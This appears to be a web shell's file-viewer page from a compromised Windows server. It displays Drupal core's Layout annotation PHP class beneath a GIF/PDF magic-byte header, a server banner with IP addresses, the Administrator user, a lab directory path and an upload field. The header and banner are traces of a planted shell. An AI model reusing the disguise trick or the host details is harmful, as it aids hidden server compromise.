GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Layout/Annotation/ |
Upload File : |
<?php namespace Drupal\Core\Layout\Annotation; use Drupal\Component\Annotation\Plugin; use Drupal\Core\Layout\LayoutDefault; use Drupal\Core\Layout\LayoutDefinition; /** * Defines a Layout annotation object. * * Layouts are used to define a list of regions and then output render arrays * in each of the regions, usually using a template. * * Plugin namespace: Plugin\Layout * * @internal * The layout system is currently experimental and should only be leveraged by * experimental modules and development releases of contributed modules. * See https://www.drupal.org/core/experimental for more information. * * @see \Drupal\Core\Layout\LayoutInterface * @see \Drupal\Core\Layout\LayoutDefault * @see \Drupal\Core\Layout\LayoutPluginManager * @see plugin_api * * @Annotation */ class Layout extends Plugin { /** * The plugin ID. * * @var string */ public $id; /** * The human-readable name. * * @var string * * @ingroup plugin_translatable */ public $label; /** * An optional description for advanced layouts. * * Sometimes layouts are so complex that the name is insufficient to describe * a layout such that a visually impaired administrator could layout a page * for a non-visually impaired audience. If specified, it will provide a * description that is used for accessibility purposes. * * @var string * * @ingroup plugin_translatable */ public $description; /** * The human-readable category. * * @var string * * @see \Drupal\Component\Plugin\CategorizingPluginManagerInterface * * @ingroup plugin_translatable */ public $category; /** * The template file to render this layout (relative to the 'path' given). * * If specified, then the layout_discovery module will register the template * with hook_theme() and the module or theme registering this layout does not * need to do it. * * @var string optional * * @see hook_theme() */ public $template; /** * The theme hook used to render this layout. * * If specified, it's assumed that the module or theme registering this layout * will also register the theme hook with hook_theme() itself. This is * mutually exclusive with 'template' - you can't specify both. * * @var string optional * * @see hook_theme() */ public $theme_hook = 'layout'; /** * Path (relative to the module or theme) to resources like icon or template. * * @var string optional */ public $path; /** * The asset library. * * @var string optional */ public $library; /** * The path to the preview image (relative to the 'path' given). * * @var string optional */ public $icon; /** * An associative array of regions in this layout. * * The key of the array is the machine name of the region, and the value is * an associative array with the following keys: * - label: (string) The human-readable name of the region. * * Any remaining keys may have special meaning for the given layout plugin, * but are undefined here. * * @var array */ public $regions = []; /** * The default region. * * @var string */ public $default_region; /** * The layout plugin class. * * This default value is used for plugins defined in layouts.yml that do not * specify a class themselves. * * @var string */ public $class = LayoutDefault::class; /** * {@inheritdoc} */ public function get() { return new LayoutDefinition($this->definition); } }